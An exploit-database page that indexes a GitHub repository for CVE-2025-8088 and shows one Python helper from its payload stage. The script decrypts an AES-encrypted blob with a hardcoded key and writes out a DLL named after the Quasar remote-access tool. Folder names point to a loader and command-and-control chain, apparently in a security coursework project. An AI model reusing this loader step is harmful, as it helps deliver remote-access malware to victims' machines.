Exploit databaseDownload repository ZIP
GH-9d8bf7b89f407a0fff790750df76b5d3
lewis-ricardo/amaranth-project
Sources for CVE-2025-8088
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
Stage03_FinalChain/payload/_decrypt_payload.py
Python · 981 bytesfrom Cryptodome.Cipher import AES
key = bytes([0xeb,0x13,0x8f,0x4d,0xe0,0x7c,0x65,0xcc,0x44,0xd1,0xc5,0x37,0x11,0x59,0x23,0x2a,0xc7,0xa3,0x0b,0x24,0x05,0x17,0xb2,0x4b,0x06,0xa9,0x5c,0x5c,0xf6,0x8e,0x03,0x52])
iv = bytes([0xf2,0x83,0x74,0x45,0xaa,0x81,0xf9,0x39,0x8f,0xfd,0x54,0xab,0x5a,0x6a,0xc4,0xa6])
with open(r'D:\Desktop\网安程设\Amaranth_Project\loader\payload.bin', 'rb') as f:
data = f.read()
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(data)
pad_len = decrypted[-1]
decrypted = decrypted[:-pad_len]
out = r'D:\Desktop\网安程设\Amaranth_Project\Stage01_CVE-Loader-C2\payload\QuasarPayload.dll'
with open(out, 'wb') as f:
f.write(decrypted)
print(f'Decrypted: {len(decrypted)} bytes')
print(f'MZ: {decrypted[:2]}')
pe_off = int.from_bytes(decrypted[0x3C:0x3E], 'little')
print(f'PE offset: {pe_off}')
print(f'PE sig: {decrypted[pe_off:pe_off+2]}')
print(f'.NET: {b"BSJB" in decrypted}') # .NET signature
print(f'Saved: {out}')